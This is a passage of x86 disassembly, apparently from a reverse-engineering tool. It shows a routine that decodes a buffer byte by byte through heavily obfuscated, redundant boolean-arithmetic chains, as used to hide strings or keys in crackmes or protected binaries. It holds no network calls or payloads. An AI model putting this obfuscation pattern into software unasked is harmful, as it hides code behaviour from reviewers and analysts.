and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x1f
sub bl, al
mov byte [0x47b3e2], bl
mov al, byte [0x47b1e3]
mov dl, al
xor dl, 0xda
xor dl, 0xff
or dl, 0x25
add dl, 0xdb
shl dl, 1
add dl, 0x80
sub dl, 0xda
sub dl, 0x80
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x47b3e3], al
mov al, byte [0x47b1e4]
mov cl, al
xor cl, 0xa5
xor cl, 0xff
and cl, 0xa5
shl cl, 1
sub cl, 0xa5
sub al, cl
mov byte [0x47b3e4], al
mov bl, byte [0x47b1e5]
mov dl, bl
xor dl, 0xe2
xor dl, 0xff
xor dl, 0xff
or dl, 0x1d
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xe2
sub bl, al
mov byte [0x47b3e5], bl
mov al, byte [0x47b1e6]
xor al, 0xfe
mov byte [0x47b3e6], al
mov dl, byte [0x47b1e7]
mov al, dl
xor al, 0xff
and al, 0xc2
mov cl, dl
and cl, 0x3d
or al, cl
xor al, 0x3d
xor al, 0xff
or al, 0x5c
xor al, 0xff
and al, 0xff
and dl, 0x5c
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 0x2b
and cl, 0xd4
or al, cl
mov byte [0x47b3e7], al
mov al, byte [0x47b1e8]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
mov ch, cl
xor ch, 0xff
and ah, ch
or dl, cl
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
and ah, dl
and ah, 4
xor ah, 0xff
xor al, 0xff
or al, 4
and ah, al
xor ah, 0xff
mov byte [0x47b3e8], ah
mov dl, byte [0x47b1e9]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov al, ah
and al, 0x76
and cl, 0x89
or al, cl
xor al, 0xb7
or ah, 0x3e
xor ah, 0xff
and ah, 0xff
or al, ah
xor dl, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0x3e
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor ah, 0xff
or al, ah
mov byte [0x47b3e9], al
mov cl, byte [0x47b1ea]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x2a
and cl, 0xd5
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov cl, al
and cl, 0x24
shl cl, 1
add al, 0x24
sub al, cl
mov byte [0x47b3ea], al
mov al, byte [0x47b1eb]
xor al, 0x41
mov byte [0x47b3eb], al
mov al, byte [0x47b1ec]
mov cl, al
and cl, 0xc
shl cl, 1
add al, 0xc
sub al, cl
mov byte [0x47b3ec], al
mov al, byte [0x47b1ed]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xc0
shl dl, 1
mov cl, al
and cl, 0xc0
shl cl, 1
xor al, 0xc0
add al, cl
sub al, dl
mov byte [0x47b3ed], al
mov al, byte [0x47b1ee]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0x8e
xor dl, 0xff
or dl, 0x8e
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor al, 0xff
mov dl, al
xor dl, 0xff
or dl, 0x71
and al, 0x8e
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
xor ah, 0xff
xor dl, 0xff
and ah, dl
mov byte [str.go_n], ah
mov cl, byte [0x47b1ef]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x67
xor cl, 0xff
or cl, 0x98
and al, cl
xor al, 0xff
mov byte [0x47b3ef], al
mov bl, byte [0x47b1f0]
mov dl, bl
xor dl, 0x96
xor dl, 0xff
mov al, dl
xor al, 0x96
xor al, 0xff
or dl, 0x96
and dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xc3
sub al, 0x96
sub al, 0xc3
sub bl, al
mov byte [0x47b3f0], bl
mov al, byte [0x47b1f1]
xor al, 0x4e
mov byte [0x47b3f1], al
mov al, byte [0x47b1f2]
xor al, 0xc7
mov byte [0x47b3f2], al
mov bl, byte [0x47b1f3]
mov al, bl
and al, 0xf6
shl al, 1
mov dl, bl
add dl, 0xf6
sub dl, al
xor dl, 0xff
and dl, 0xf6
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xf6
sub bl, al
mov byte [0x47b3f3], bl
mov bl, byte [0x47b1f4]
mov al, bl
xor al, 0x8b
xor al, 0xff
and al, 0x8b
shl al, 1
sub al, 0x8b
mov dl, bl
sub dl, al
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
or dl, 0x74
add dl, 0x8c
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x8b
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x47b3f4], bl
mov al, byte [0x47b1f5]
xor al, 0xf9
mov byte [0x47b3f5], al
mov al, byte [0x47b1f6]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x1e
xor dl, 0xff
mov cl, al
and cl, 0xe1
xor cl, 0xff
add al, 0xe1
add al, 1
add al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
and dl, 0xff
mov byte [0x47b3f6], dl
mov al, byte [0x47b1f7]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
and dl, dl
xor dl, 0xff
and dl, 0x2e
xor dl, 0xff
and al, 0xd1
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
or dl, al
mov byte [0x47b3f7], dl
mov al, byte [0x47b1f8]
mov cl, al
and cl, 0xbd
shl cl, 1
add al, 0xbd
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x47b3f8], al
mov dl, byte [0x47b1f9]
mov al, dl
and al, al
xor al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, 0xd
xor dl, 0xff
mov cl, dl
and cl, 0xf2
xor cl, 0xff
add dl, 0xf2
add dl, 1
add dl, cl
and al, dl
xor al, 0xff
mov byte [0x47b3f9], al
mov al, byte [0x47b1fa]
mov cl, al
xor cl, 0xed
xor cl, 0xff
and cl, 0xed
shl cl, 1
sub cl, 0xed
sub al, cl
mov byte [0x47b3fa], al
mov al, byte [0x47b1fb]
mov cl, al
xor cl, 0xf7
xor cl, 0xff
and cl, 0xf7
shl cl, 1
sub cl, 0xf7
sub al, cl
mov byte [0x47b3fb], al
mov al, byte [0x47b1fc]
mov ah, al
and ah, ah
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov dl, ah
xor dl, 8
and dl, ah
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or al, 0xf7
and dl, al
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
mov byte [0x47b3fc], dl
mov dl, byte [0x47b1fd]
mov dh, dl
xor dh, 0xff
and dh, 0xff
or dh, 0
mov bl, dl
xor bl, 0xff
mov ah, dh
xor ah, 0xff
mov bh, bl
xor bh, 0xff
mov al, ah
and al, 0x21
and dh, 0xde
mov cl, bh
and cl, 0x21
and bl, 0xde
or al, dh
or cl, bl
xor al, cl
or ah, bh
xor ah, 0xff
and ah, 0xff
or al, ah
xor al, 0xff
or al, 0xef
mov cl, dl
xor cl, 0x10
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, al
add dl, 1
xor al, 0xff
or al, cl
add al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
mov byte [0x47b3fd], cl
mov dl, byte [0x47b1fe]
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov al, dl
sub al, cl
and al, 0xca
xor dl, 0xff
or dl, 0xca
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
and cl, 0x4c
shl cl, 1
add al, 0x4c
sub al, cl
mov byte [0x47b3fe], al
mov al, byte [0x47b1ff]
mov cl, al
xor cl, 0xff
and cl, 0x15
and al, 0xea
or cl, al
xor cl, 0xce
mov byte [0x47b3ff], cl
mov al, byte [0x47b200]
mov cl, al
xor cl, 0x8b
xor cl, 0xff
and cl, 0x8b
shl cl, 1
sub cl, 0x8b
sub al, cl
mov byte [0x47b400], al
mov dl, byte [0x47b201]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xb3
and dl, 0x4c
mov cl, al
or cl, dl
xor cl, 0xff
xor al, 0xff
xor dl, 0xff
and al, dl
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x47b401], cl
mov dl, byte [0x47b202]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, al
and cl, 0x1a
xor cl, 0xff
add al, 0x1a
add al, 1
add al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
and cl, 0xe5
xor dl, 0xe5
or cl, dl
xor cl, 0xff
mov dl, al
or dl, cl
xor dl, 0xff
or al, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x47b402], dl
mov al, byte [0x47b203]
xor al, 0x42
mov byte [0x47b403], al
mov al, byte [0x47b204]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x54
xor dl, 0xff
or al, 0xab
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b404], dl
mov cl, byte [0x47b205]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xa6
xor cl, 0xff
or cl, 0x59
and al, cl
xor al, 0xff
mov byte [0x47b405], al
mov al, byte [0x47b206]
xor al, 0xa9
mov byte [0x47b406], al
mov al, byte [0x47b207]
mov cl, al
xor cl, 0x79
xor cl, 0xff
and cl, 0x79
shl cl, 1
sub cl, 0x79
sub al, cl
mov byte [0x47b407], al
mov dl, byte [0x47b208]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, dl
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and al, 0xd8
or dl, 0xd8
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
mov byte [0x47b408], cl
mov al, byte [0x47b209]
mov cl, al
xor cl, 0xff
or cl, cl
xor cl, 0xff
or cl, 9
xor cl, 0xff
and al, 9
or cl, al
mov byte [0x47b409], cl
mov al, byte [0x47b20a]
xor al, 0x68
mov byte [str.4u_t], al
mov al, byte [0x47b20b]
xor al, 0xcc
mov byte [0x47b40b], al
mov al, byte [0x47b20c]
xor al, 0x1a
mov byte [0x47b40c], al
mov al, byte [0x47b20d]
xor al, 0x95
mov byte [0x47b40d], al
mov dl, byte [0x47b20e]
mov al, dl
and al, al
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor al, 0xff
or al, 0x1e
and dl, 0x1e
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
and al, dl
xor al, 0xff
mov byte [0x47b40e], al
mov al, byte [0x47b20f]
xor al, 0x64
mov byte [0x47b40f], al
mov al, byte [0x47b210]
xor al, 0x8a
mov byte [0x47b410], al
mov al, byte [0x47b211]
mov cl, al
and cl, 0xff
shl cl, 1
mov dh, al
add dh, 0xff
sub dh, cl
mov ah, al
and ah, ah
xor ah, 0xff
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
mov dl, dh
xor dl, 0xff
xor dh, 0xff
and dl, dh
mov cl, ah
xor cl, 0xff
xor ah, 0xff
and cl, ah
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov cl, dl
and cl, 0x27
mov ah, dl
xor ah, 0xd8
add dl, ah
sub dl, cl
xor dl, 0xff
xor al, 0xff
and al, 0xd8
or dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov byte [0x47b411], dl
mov al, byte [0x47b212]
mov cl, al
and cl, 0x66
shl cl, 1
mov dl, al
and dl, 0x66
shl dl, 1
xor al, 0x66
add al, dl
sub al, cl
mov byte [0x47b412], al
mov al, byte [0x47b213]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x51
and al, 0xae
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
xor dl, 0x3c
mov byte [0x47b413], dl
mov al, byte [0x47b214]
xor al, 0x45
mov byte [0x47b414], al
mov al, byte [0x47b215]
mov cl, al
and cl, 0xba
shl cl, 1
add al, 0xba
xor edx, edx
sub dl, cl
add al, dl
mov byte [str.xde], al
mov al, byte [0x47b216]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ch, al
sub ch, cl
mov dl, ah
or dl, ch
xor dl, 0xff
or ah, ch
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
and dl, ah
and dl, 0x27
xor dl, 0xff
xor al, 0xff
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and cl, 0xd8
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov byte [0x47b416], dl
mov al, byte [0x47b217]
mov cl, al
xor cl, 0xff
and cl, 0x88
and al, 0x77
or cl, al
xor cl, 0xc6
mov byte [0x47b417], cl
mov al, byte [0x47b218]
xor al, 0xa8
mov byte [0x47b418], al
mov al, byte [str.6wT]
xor al, 0x9b
mov byte [0x47b419], al
mov al, byte [0x47b21a]
xor al, 0xfb
mov byte [0x47b41a], al
mov dl, byte [0x47b21b]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x2e
mov ah, dl
and ah, 0xd1
or cl, ah
xor cl, 0xd1
mov ah, cl
xor ah, 0xff
mov ch, al
and ch, ah
mov ah, al
xor ah, cl
add al, ah
sub al, ch
and al, 0x36
xor al, 0xff
and dl, 0xc9
xor dl, 0xff
and al, dl
mov cl, al
xor cl, 0xff
and cl, 0xd2
and al, 0x2d
or cl, al
xor cl, 0x2d
mov byte [0x47b41b], cl
mov al, byte [0x47b21c]
mov cl, al
xor cl, 0xff
and cl, 0xa
and al, 0xf5
or cl, al
mov byte [0x47b41c], cl
mov al, byte [0x47b21d]
xor al, 0x46
mov byte [0x47b41d], al
mov al, byte [0x47b21e]
xor al, 0x98
mov byte [0x47b41e], al
mov al, byte [0x47b21f]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xa5
xor dl, 0xff
or cl, 0xa5
and cl, dl
and al, 0x5a
or cl, al
mov byte [0x47b41f], cl
mov dl, byte [0x47b220]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xb2
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and dl, 0x4d
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
xor cl, 0xff
mov byte [0x47b420], cl
mov al, byte [0x47b221]
mov cl, al
xor cl, 0xff
and cl, 0xb8
and al, 0x47
or cl, al
mov byte [0x47b421], cl
mov dl, byte [0x47b222]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0xb5
add al, 0x4b
and dl, 0xb5
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xd1
mov byte [0x47b422], al
mov al, byte [0x47b223]
xor al, 0xed
mov byte [0x47b423], al
mov al, byte [0x47b224]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xd5
or al, 0xd5
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b424], dl
mov cl, byte [0x47b225]
mov al, cl
xor al, 0xff
and al, 0xdc
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0x23
add cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x35
and al, 0xca
or cl, al
xor cl, 0x16
mov byte [0x47b425], cl
mov al, byte [0x47b226]
xor al, 0xb8
mov byte [0x47b426], al
mov al, byte [0x47b227]
mov dl, al
xor dl, 0xde
xor dl, 0xff
mov cl, dl
xor cl, 0xde
xor cl, 0xff
or dl, 0xde
and dl, cl
shl dl, 1
add dl, 0x21
add dl, 1
sub al, dl
mov byte [0x47b427], al
mov dl, byte [0x47b228]
mov al, dl
and al, al
xor al, 0xff
and al, 0x37
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
or dl, 0x37
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x47b428], al
mov al, byte [0x47b229]
xor al, 0x1b
mov byte [0x47b429], al
mov al, byte [0x47b22a]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xdd
mov dl, cl
xor dl, 0xff
and dl, 0x56
and cl, 0xa9
or dl, cl
xor dl, 0xa9
and al, 0x22
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b42a], dl
mov al, byte [0x47b22b]
xor al, 5
mov byte [0x47b42b], al
mov bl, byte [0x47b22c]
mov dl, bl
xor dl, 0xbe
xor dl, 0xff
and dl, 0xbe
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x42
sub bl, al
mov byte [0x47b42c], bl
mov al, byte [0x47b22d]
xor al, 0x8c
mov byte [0x47b42d], al
mov al, byte [0x47b22e]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xc0
add dl, cl
shl dl, 1
add al, 0xc0
sub al, dl
mov byte [0x47b42e], al
mov al, byte [0x47b22f]
mov cl, al
xor cl, 0xff
and cl, 0xc2
and al, 0x3d
or cl, al
xor cl, 0x93
mov byte [0x47b42f], cl
mov al, byte [0x47b230]
mov cl, al
xor cl, cl
xor cl, 0xff
mov ah, al
or ah, ah
and ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
or dl, 0x94
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x6b
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
or dl, al
mov byte [0x47b430], dl
mov al, byte [0x47b231]
xor al, 0xc0
mov byte [0x47b431], al
mov al, byte [0x47b232]
xor al, 0x1e
mov byte [0x47b432], al
mov cl, byte [0x47b233]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x3d
xor cl, 0xff
and cl, 0xc2
or al, cl
xor al, 0xff
mov byte [0x47b433], al
mov al, byte [0x47b234]
mov cl, al
and cl, 0x69
shl cl, 1
add al, 0x69
sub al, cl
mov byte [0x47b434], al
mov al, byte [0x47b235]
xor al, 0xe9
mov byte [0x47b435], al
mov al, byte [0x47b236]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xb7
and al, 0xb7
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b436], dl
mov bl, byte [0x47b237]
mov dl, bl
and dl, 0xb9
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xb9
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x47b437], bl
mov al, byte [0x47b238]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ch, al
sub ch, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
mov cl, ch
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x82
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, al
xor cl, 0xff
or cl, 0x7d
and al, 0x82
xor al, 0xff
and cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov byte [0x47b438], dl
mov al, byte [0x47b239]
xor al, 0x71
mov byte [0x47b439], al
mov al, byte [0x47b23a]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0x44
xor cl, 0xff
and cl, 0xff
and al, 0x44
or cl, al
mov byte [0x47b43a], cl
mov al, byte [0x47b23b]
mov cl, al
and cl, 0x13
shl cl, 1
add al, 0x13
sub al, cl
mov byte [0x47b43b], al
mov al, byte [0x47b23c]
xor al, 0xb5
mov byte [0x47b43c], al
mov al, byte [0x47b23d]
mov cl, al
and cl, 0x96
shl cl, 1
add al, 0x96
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x47b43d], al
mov al, byte [0x47b23e]
xor al, 0x5b
mov byte [0x47b43e], al
mov al, byte [0x47b23f]
xor al, 0x38
mov byte [0x47b43f], al
mov dl, byte [0x47b240]
mov al, dl
and al, al
xor al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, 0xe
and dl, 0xe
xor dl, 0xff
and al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x47b440], al
mov al, byte [0x47b241]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x79
and al, 0x86
or dl, al
mov byte [0x47b441], dl
mov dl, byte [0x47b242]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
xor cl, 0x98
xor cl, 0xff
or al, 0x98
and al, cl
mov ah, dl
xor ah, 0xff
or ah, 0x98
xor dl, 0xff
or dl, 0x98
and ah, dl
xor ah, 0xff
mov cl, ah
xor cl, 0xff
mov dl, al
and dl, cl
mov cl, al
xor cl, ah
add al, cl
sub al, dl
mov cl, al
xor cl, 0x51
xor cl, 0xff
and cl, 0x51
shl cl, 1
sub cl, 0x51
sub al, cl
mov byte [0x47b442], al
mov al, byte [0x47b243]
xor al, 0xd8
mov byte [0x47b443], al
mov al, byte [0x47b244]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xde
xor al, 0xff
or al, 0x21
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b444], dl
mov al, byte [0x47b245]
mov cl, al
and cl, 0x61
shl cl, 1
add al, 0x61
sub al, cl
mov byte [0x47b445], al
mov al, byte [0x47b246]
xor al, 0x78
mov byte [0x47b446], al
mov al, byte [0x47b247]
mov cl, al
xor cl, 0xff
and cl, 0x82
and al, 0x7d
or cl, al
mov byte [str.s_vZK], cl
mov al, byte [0x47b248]
xor al, 0x16
mov byte [0x47b448], al
mov dl, byte [0x47b249]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0x33
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xcc
add dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0x77
mov byte [0x47b449], al
mov al, byte [0x47b24a]
xor al, 0x8e
mov byte [0x47b44a], al
mov al, byte [0x47b24b]
mov cl, al
xor cl, 0xff
and cl, 0x37
and al, 0xc8
or cl, al
mov byte [0x47b44b], cl
mov al, byte [0x47b24c]
mov cl, al
xor cl, 0xff
and cl, 0xa3
and al, 0x5c
or cl, al
xor cl, 0x1a
mov byte [0x47b44c], cl
mov al, byte [0x47b24d]
xor al, 0xfe
mov byte [0x47b44d], al
mov al, byte [0x47b24e]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x50
xor cl, 0xff
xor al, 0xff
and al, 0x50
or cl, al
xor cl, 0xff
mov byte [0x47b44e], cl
mov al, byte [0x47b24f]
xor al, 0xe
mov byte [0x47b44f], al
mov al, byte [0x47b250]
mov cl, al
xor cl, 0x8a
xor cl, 0xff
and cl, 0x8a
shl cl, 1
sub cl, 0x8a
sub al, cl
mov byte [0x47b450], al
mov al, byte [0x47b251]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xfa
xor dl, 0xff
xor al, 0xff
or al, 0xfa
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b451], dl
mov al, byte [0x47b252]
mov cl, al
xor cl, 0xff
and cl, 0x45
and al, 0xba
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0x87
mov byte [0x47b452], dl
mov al, byte [0x47b253]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
add ah, 1
xor dl, 0xff
or dl, cl
add dl, ah
mov cl, dl
and cl, 0xd1
xor cl, 0xff
add dl, 0xd1
add dl, 1
add dl, cl
xor dl, 0xff
or al, 0x2e
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b453], dl
mov al, byte [0x47b254]
xor al, 0x23
mov byte [0x47b454], al
mov al, byte [0x47b255]
mov cl, al
xor cl, 0xff
and cl, 0x73
and al, 0x8c
or cl, al
xor cl, 0xf1
mov byte [0x47b455], cl
mov al, byte [0x47b256]
xor al, 0x64
mov byte [0x47b456], al
mov al, byte [0x47b257]
mov cl, al
xor cl, 0x4b
xor cl, 0xff
and cl, 0x4b
shl cl, 1
sub cl, 0x4b
sub al, cl
mov byte [0x47b457], al
mov al, byte [0x47b258]
xor al, 0x11
mov byte [0x47b458], al
mov al, byte [0x47b259]
mov cl, al
xor cl, 0xff
and cl, 0xb2
and al, 0x4d
or cl, al
xor cl, 0x37
mov byte [0x47b459], cl
mov al, byte [0x47b25a]
xor al, 0x55
mov byte [0x47b45a], al
mov dl, byte [0x47b25b]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov ch, al
and ch, ah
mov ah, al
xor ah, cl
add al, ah
sub al, ch
and al, 0x55
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
or ah, 0x55
and al, ah
xor al, 0xff
mov byte [0x47b45b], al
mov al, byte [0x47b25c]
